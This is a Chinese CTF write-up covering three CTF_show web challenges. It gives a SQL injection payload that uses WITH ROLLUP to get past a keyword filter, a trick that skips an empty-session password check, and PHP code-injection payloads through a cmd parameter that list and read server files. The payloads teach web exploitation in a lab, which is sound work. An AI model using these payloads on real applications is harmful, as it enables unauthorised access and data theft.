• CTF_show平台 web题解 part2


    web10

    WITH ROLLUP 绕过

    web10_1

    点击取消键弹出源码下载:

    web10_2

    源码如下:

    <?php
    		$flag="";
            function replaceSpecialChar($strParam){
                 $regex = "/(select|from|where|join|sleep|and|s|union|,)/i";
                 return preg_replace($regex,"",$strParam);
            }
            if (!$con)
            {
                die('Could not connect: ' . mysqli_error());
            }
    		if(strlen($username)!=strlen(replaceSpecialChar($username))){
    			die("sql inject error");
    		}
    		if(strlen($password)!=strlen(replaceSpecialChar($password))){
    			die("sql inject error");
    		}
    		$sql="select * from user where username = '$username'";
    		select * from user where username = 'admin'or 1=1 GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1
    		$result=mysqli_query($con,$sql);
    			if(mysqli_num_rows($result)>0){			//返回结果集中行的数目
    					while($row=mysqli_fetch_assoc($result)){
    						if($password==$row['password']){
    							echo "登陆成功<br>";
    							echo $flag;
    						}
    					 }
    			}
    ?>
    

    首先对post的数据进行了select|from|where|join|sleep|and|s|union|的过滤,然后查询出来的字符串长度要和我们post的长度相等,这两条限制使得无法通过双写绕过。

    如果我们同时知道数据库中的usernamepassword的话就可以通过,可问题是我们并不知道,所以就需要进行注入,自行构造。

    mysql中的with rollup是用来在分组统计数据的基础上再进行统计汇总,用来得到group by的汇总信息;

    web10_3

    结果中将会多出一行,其中age列为nullcount(*)为统计和。

    web10_4

    我们就是要通过with rollup使sql语句查询结果为null,然后不输入pwd使pwd为null就可以使$password==$row['password']

    构建payload:'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#

    offset后面的值需要尝试才能找到pwd是null的行

    参考文章

    web11

    题目给出源码:

    <?php
            function replaceSpecialChar($strParam){
                 $regex = "/(select|from|where|join|sleep|and|s|union|,)/i";
                 return preg_replace($regex,"",$strParam);
            }
            if(strlen($password)!=strlen(replaceSpecialChar($password))){
                die("sql inject error");
            }
            if($password==$_SESSION['password']){
                echo $flag;
            }else{
                echo "error";
            }
    ?>
    

    输出flag的条件为:$password==$_SESSION['password']

    password是由我们自己输入的,session中的password存储在本地,所以我们只需要输入空密码,并且将本地的session删除即可成功绕过。

    ctf_show_web11_1

    直接输出flag

    web12

    web12_1

    查看源码:

    web12_2

    猜测可能后端代码中存在 eval()或者exec()等可以执行命令的代码。

    使用glob() 函数返回匹配指定模式的文件名或目录。

    glob()用法
    glob(“*”) 匹配任意文件
    glob(“*.txt”)匹配以txt为后缀的文件

    构造payload:?cmd=print_r(glob("*"));

    web12_3

    使用文件高亮命令,读出这个文件的PHP代码:

    ?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

    获得flag。

  • 相关阅读:
    LeetCode-167-两数之和 II
    LeetCode-160-相交链表
    LeetCode-155-最小栈
    [leetcode]7. Reverse Integer反转整数
    [leetcode]4. Median of Two Sorted Arrays俩有序数组的中位数
    [leetcode]2. Add Two Numbers两数相加
    [leetcode]210. Course Schedule II课程表II
    Topological Sorting拓扑排序
    [leetcode]62. Unique Paths 不同路径(求路径和)
    [leetcode]387. First Unique Character in a String第一个不重复字母
  • 原文地址:https://www.cnblogs.com/chalan630/p/12676944.html
Copyright © 2020-2023  润新知